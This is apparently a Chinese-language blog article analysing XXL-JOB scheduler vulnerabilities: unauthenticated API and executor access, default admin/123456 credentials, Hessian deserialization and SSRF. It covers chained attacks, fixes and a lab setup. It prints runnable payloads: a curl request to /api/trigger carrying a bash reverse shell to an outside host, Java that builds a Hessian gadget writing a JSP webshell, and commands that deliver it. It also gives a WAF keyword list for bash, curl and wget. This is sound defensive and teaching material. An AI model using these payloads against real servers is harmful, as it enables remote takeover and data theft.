文章目錄
- 前言
- 一、核心漏洞分類與技術細節
- 二、漏洞關聯利用與攻擊路徑
- 三、版本演進與修復策略
- 四、安全運維建議
- 五、典型漏洞復現環境搭建
- 六、總結
前言
XXL-JOB是國內主流的開源分布式任務調度框架,由徐雪里開發維護,以輕量易用、高可用、適配分布式場景等特性,廣泛應用于互聯網、金融等行業,承擔定時任務調度、批量數據處理等核心業務。
其架構核心為“調度中心(負責任務配置與觸發)”與“執行器(負責任務實際運行)”,二者協同實現分布式任務管理。隨著其部署范圍擴大,低版本因安全設計不足,暴露出API未授權訪問、默認弱口令、反序列化注入等高頻漏洞,成為安全響應中心(SRC)常見安全事件誘因,可能導致服務器被控、業務數據泄露等嚴重后果。本文檔即針對這些高頻漏洞展開深度分析,為安全防護提供參考。
一、核心漏洞分類與技術細節
-
API未授權訪問漏洞(<=2.2.0)
- 漏洞原理:調度中心的
/api
接口未啟用身份認證機制,攻擊者可直接調用任務觸發、日志查詢等敏感接口。例如,通過構造POST請求調用/api/trigger
接口,傳入惡意參數即可執行任意系統命令。 - 利用場景:攻擊者通過FOFA等工具搜索暴露的API接口,發送包含
glueType=GLUE_SHELL
和executorParam=bash -i >& /dev/tcp/attacker_ip/port 0>&1
的請求,直接獲取服務器權限。 - 修復方案:
- 配置
xxl.job.accessToken
并在調度中心與執行器保持一致。 - 升級至2.3.0+版本,啟用接口權限校驗模塊。
- 配置
- 漏洞原理:調度中心的
-
Executor未授權訪問漏洞(<=2.2.0)
- 漏洞本質:執行器默認監聽9999端口且未配置訪問控制,攻擊者可直接調用RESTful API執行命令。例如,發送POST請求至
/run
接口,攜帶cmd=whoami
即可獲取系統信息。 - 版本差異:
- 2.2.0以下版本:直接通過HTTP接口執行命令。
- 2.2.0以上版本:需結合Hessian協議和未修改的
accessToken
進行攻擊。
- 防御措施:
- 關閉公網對9999端口的訪問,僅允許調度中心IP通信。
- 配置防火墻規則,限制來源IP范圍。
- 漏洞本質:執行器默認監聽9999端口且未配置訪問控制,攻擊者可直接調用RESTful API執行命令。例如,發送POST請求至
-
默認登錄密碼漏洞(全版本)
- 風險現狀:默認賬號密碼為
admin/123456
,且2.1.1版本前可設置超過18位密碼導致登錄失敗。攻擊者通過弱口令爆破或社工手段獲取權限后,可創建惡意任務實現RCE。 - 利用鏈:
- 爆破登錄:使用Burp Suite加載弱口令字典進行暴力破解。
- 任務植入:登錄后創建GLUE類型任務,寫入反彈Shell代碼。
- 加固建議:
- 強制修改默認密碼,采用大小寫字母+數字+特殊符號的組合。
- 在
tables_xxl_job.sql
中修改初始化密碼的MD5值。
- 風險現狀:默認賬號密碼為
-
Hessian反序列化漏洞(<=2.1.2)
- 技術背景:調度中心使用Hessian協議進行遠程調用,低版本未對輸入數據進行有效過濾,導致反序列化漏洞。攻擊者構造包含惡意類的序列化數據,觸發任意代碼執行。
- 利用方式:
- 構造POC:使用
SwingLazyValue
結合JavaUtils.writeBytesToFilename
寫入惡意文件。 - 內存馬植入:通過反序列化注入冰蝎或哥斯拉內存馬,實現持久化控制。
- 構造POC:使用
- 修復方案:
- 升級至2.2.0+版本,移除危險的反序列化入口點。
- 禁用Hessian協議,改用HTTP+JSON通信。
二、漏洞關聯利用與攻擊路徑
-
組合攻擊示例
- 步驟1:SSRF獲取AccessToken(CVE-2022-43183)
- 攻擊者通過調度中心
/log/cat
接口構造SSRF請求,獲取執行器的accessToken
。
- 攻擊者通過調度中心
- 步驟2:Executor命令執行
- 使用竊取的
accessToken
向執行器發送請求,調用/run
接口執行命令。
- 使用竊取的
- 步驟3:橫向滲透
- 利用獲取的服務器權限,掃描內網其他XXL-JOB實例,復用漏洞進行擴散。
- 步驟1:SSRF獲取AccessToken(CVE-2022-43183)
-
典型攻擊載荷
-
反彈Shell(API未授權)
curl -X POST "http://target:8080/xxl-job-admin/api/trigger" \ -H "Content-Type: application/json" \ -d '{"jobId":1,"executorParam":"bash -i >& /dev/tcp/1.1.1.1/4444 0>&1"}'
-
Hessian反序列化(內存馬)
// 生成惡意序列化數據 UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("key", new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/shell.jsp", payloadBytes})); Hessian2Output output = new Hessian2Output(new FileOutputStream("poc.ser")); output.writeObject(uiDefaults); output.close();
-
三、版本演進與修復策略
漏洞類型 | 影響版本 | 修復版本 | 核心變更點 |
---|---|---|---|
API未授權訪問 | <=2.2.0 | 2.3.0+ | 增加accessToken 校驗模塊,限制接口訪問權限 |
Executor未授權 | <=2.2.0 | 2.2.1+ | 引入RESTful API權限控制,默認關閉公網訪問 |
默認登錄密碼 | 全版本 | 2.1.1+ | 前端限制密碼長度,后臺加強密碼復雜度校驗 |
Hessian反序列化 | <=2.1.2 | 2.2.0+ | 移除jetty 容器中的反序列化入口,改用安全通信協議 |
SSRF漏洞 | <=2.3.1 | 2.4.0+ | 過濾executorAddress 參數,禁止自定義目標地址 |
四、安全運維建議
-
基礎防護
- 網絡隔離:調度中心與執行器采用內網通信,關閉公網對9999端口的暴露。
- 最小化原則:禁用不必要的API接口,僅開放管理后臺的8080端口。
-
動態監測
- 流量分析:通過WAF檢測包含
bash
、curl
、wget
等關鍵詞的請求。 - 日志審計:監控調度中心的登錄日志和任務執行日志,及時發現異常操作。
- 流量分析:通過WAF檢測包含
-
版本管理
- 定期檢查:使用
mvn dependency:tree
或gradle dependencies
命令,確認XXL-JOB及依賴庫版本。 - 自動更新:在CI/CD流程中集成版本掃描工具(如OWASP Dependency-Check),發現漏洞立即觸發升級。
- 定期檢查:使用
五、典型漏洞復現環境搭建
-
環境配置
- 下載
xxl-job-2.1.2
源碼,修改application.properties
中的數據庫連接信息。 - 啟動MySQL服務,執行
tables_xxl_job.sql
初始化表結構。 - 編譯并運行調度中心和執行器,開放8080和9999端口。
- 下載
-
漏洞驗證
-
Hessian攻擊:使用
curl
發送包含序列化數據的請求:curl -X POST "http://localhost:8080/xxl-job-admin/api" \ -H "Content-Type: x-application/hessian" \ --data-binary @poc.ser
-
Executor命令執行:直接訪問
http://localhost:9999/run?cmd=id
,驗證響應是否包含用戶信息。
-
攻擊方式參考:
https://xz.aliyun.com/news/13339
https://forum.butian.net/share/2592
https://github.com/charonlight/xxl-jobExploitGUI/blob/main/README.md
六、總結
XXL-JOB的低版本漏洞多源于設計缺陷和配置不當,攻擊者通過未授權訪問、反序列化等手段可輕易獲取服務器控制權。
建議企業采取"主動防御+動態監測+版本迭代"的三層防護體系,及時修復漏洞并強化訪問控制。
同時,開發者應遵循安全編碼規范,在遠程調用、數據解析等關鍵環節引入嚴格的輸入校驗機制,從源頭降低安全風險。
本文是「Web安全」系列內容,點擊專欄導航查看全部內容。